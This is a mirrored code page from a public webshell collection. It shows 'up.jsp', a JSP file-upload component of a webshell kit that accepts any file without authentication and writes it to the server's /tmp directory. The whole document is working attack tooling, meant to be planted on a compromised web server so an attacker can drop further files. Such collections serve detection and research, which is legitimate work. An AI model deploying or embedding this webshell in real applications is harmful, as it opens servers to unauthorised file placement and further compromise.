mirror of
https://github.com/tennc/webshell
synced 2024-09-20 05:41:58 +00:00
162 lines
3.5 KiB
Text
162 lines
3.5 KiB
Text
<jsp:useBean id="prop" scope="page" class="java.util.Properties" />
|
|
<%@ page import="java.io.*,java.util.*,javax.servlet.*" %>
|
|
<%
|
|
//
|
|
// JSP_KIT
|
|
//
|
|
// up.jsp = File Upload (unix)
|
|
//
|
|
// by: Unknown
|
|
// modified: 27/06/2003
|
|
//
|
|
%>
|
|
<html>
|
|
<form name="test" method="post" action="" enctype="multipart/form-data">
|
|
<input type="File" name="fichero">
|
|
<input type="Submit" value="Upload" name="Submit">
|
|
</form>
|
|
</html>
|
|
<%!
|
|
public String getBoundary(HttpServletRequest request,Properties prop) throws ServletException,IOException{
|
|
String boundary = null;
|
|
Enumeration enum = request.getHeaderNames();
|
|
while(enum.hasMoreElements()){
|
|
String header = (String)enum.nextElement();
|
|
String hvalue = request.getHeader(header);
|
|
prop.setProperty((header).toLowerCase(),hvalue);
|
|
if("content-type".equalsIgnoreCase(header) ){
|
|
int idx = hvalue.lastIndexOf("boundary=");
|
|
if(idx != -1 ){
|
|
boundary= hvalue.substring(idx+9 , hvalue.length());
|
|
}
|
|
}
|
|
}
|
|
return boundary;
|
|
|
|
}
|
|
public String getFileName(String secondline){
|
|
int len = secondline.length();
|
|
int idx = secondline.lastIndexOf("filename=");
|
|
if(idx == -1 ) return null;
|
|
String filename = secondline.substring(idx+10 , len-1);
|
|
filename = filename.replace('\\','/');
|
|
idx = filename.lastIndexOf("/");
|
|
idx = idx + 1;
|
|
filename = filename.substring( idx );
|
|
return filename;
|
|
}
|
|
%>
|
|
<%
|
|
String DPATH = "/tmp/";
|
|
int ROUGHSIZE = 640000; // BUG: Corta el fichero si es mayor de 640Ks
|
|
int MAXSIZE = 10; // 10 Mega Byte
|
|
String boundary = getBoundary(request,prop);
|
|
if(boundary == null ){
|
|
boundary = prop.getProperty("boundary");
|
|
}else{
|
|
boundary = "--"+boundary;
|
|
}
|
|
if(boundary == null ){
|
|
return;
|
|
}
|
|
Long contentsize = new Long(prop.getProperty("content-length","0"));
|
|
int c;
|
|
StringWriter st = new StringWriter();
|
|
if(contentsize.longValue() < 1L ){
|
|
return;
|
|
}
|
|
long l = contentsize.longValue() - ROUGHSIZE;
|
|
int KB = 1024;
|
|
int MB = 1024 * KB;
|
|
int csize = (int)(l / MB);
|
|
if(csize > MAXSIZE ){
|
|
return;
|
|
}
|
|
ServletInputStream fin = request.getInputStream();
|
|
int cn;
|
|
int count=0;
|
|
while((c=fin.read()) != -1 ){
|
|
if( c == '\r') break;
|
|
st.write(c);
|
|
count++;
|
|
}
|
|
c=fin.read();
|
|
String tboundary = st.getBuffer().toString();
|
|
tboundary=tboundary.trim();
|
|
if(! tboundary.equalsIgnoreCase( boundary) ){
|
|
return;
|
|
}
|
|
st.close();
|
|
st = null;
|
|
st = new StringWriter();
|
|
while((c=fin.read()) != -1 ){
|
|
if( c == '\r' ) break;
|
|
st.write(c);
|
|
}
|
|
c=fin.read();
|
|
String secondline = st.getBuffer().toString();
|
|
String filename = getFileName(secondline);
|
|
st.close();
|
|
st = null;
|
|
st = new StringWriter();
|
|
while((c=fin.read()) != -1 ){
|
|
if( c == '\r' ) break;
|
|
st.write( c );
|
|
}
|
|
c=fin.read();
|
|
|
|
fin.read();
|
|
fin.read();
|
|
File newfile = null;
|
|
FileOutputStream fout =null;
|
|
try{
|
|
if(filename == null) throw new FileNotFoundException("File Name not found");
|
|
newfile = new File(DPATH+filename);
|
|
fout = new FileOutputStream( newfile );
|
|
}catch(FileNotFoundException fnexp){
|
|
fin.close();
|
|
return;
|
|
}
|
|
|
|
byte b[] = null;
|
|
while(l > 1024L){
|
|
b = new byte[1024];
|
|
fin.read(b,0,1024);
|
|
fout.write(b);
|
|
b=null;
|
|
l -= 1024L;
|
|
}
|
|
if(l > 0){
|
|
b = new byte[(int)l];
|
|
fin.read(b,0,(int)l);
|
|
fout.write(b);
|
|
}
|
|
|
|
|
|
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
|
while((c = fin.read()) != -1){
|
|
baos.write(c);
|
|
}
|
|
String laststring = baos.toString();
|
|
int idx = laststring.indexOf(boundary);
|
|
b = baos.toByteArray();
|
|
if(idx > 2){
|
|
fout.write(b,0,idx-2);
|
|
}else{
|
|
fout.close();
|
|
newfile.delete();
|
|
return;
|
|
}
|
|
fout.flush();
|
|
fout.close();
|
|
fin.close();
|
|
|
|
out.println("FileName: " + newfile.getName());
|
|
out.println("FileSize: " + newfile.length());
|
|
|
|
%>
|
|
|
|
|
|
|
|
|
|
|